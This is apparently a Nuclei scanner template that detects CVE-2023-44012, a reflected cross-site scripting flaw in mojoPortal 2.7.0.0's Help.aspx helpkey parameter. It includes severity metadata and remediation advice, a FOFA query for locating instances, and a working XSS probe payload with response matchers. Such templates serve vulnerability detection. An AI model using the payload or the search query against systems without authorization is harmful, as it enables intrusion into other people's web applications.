id: CVE-2023-44012

info:
  name: mojoPortal v.2.7.0.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross Site Scripting vulnerability in mojoPortal v.2.7.0.0 allows a remote attacker to execute arbitrary code via the helpkey parameter in the Help.aspx component.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Upgrade to a patched version of mojoPortal to mitigate the Cross Site Scripting (XSS) vulnerability.
  reference:
    - https://github.com/Vietsunshine-Electronic-Solution-JSC/Vulnerability-Disclosures/tree/main/2023/CVE-2023-44012
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44012
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44012
    cwe-id: CWE-79
    epss-score: 0.01258
    epss-percentile: 0.65697
    cpe: cpe:2.3:a:mojoportal:mojoportal:2.7.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mojoportal
    product: mojoportal
    fofa-query: title="mojoPortal"
  tags: cve,cve2023,mojoportal,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Help.aspx?helpkey=xxxxxxx'><svg/onload=alert()+x="

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "mojoPortal", "mojo-accordion", "mojo-tabs")'
          - 'contains(body, "><svg/onload=alert()")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100a6ab63d54d688e5460f0ac4d221da8829096845c5165365edab487c43df5aba402202cd8956cbbde0e447e18a32980887237430dc7cc51c5e43953bb4c9221b20009:922c64590222798bb761d5b6d8e72950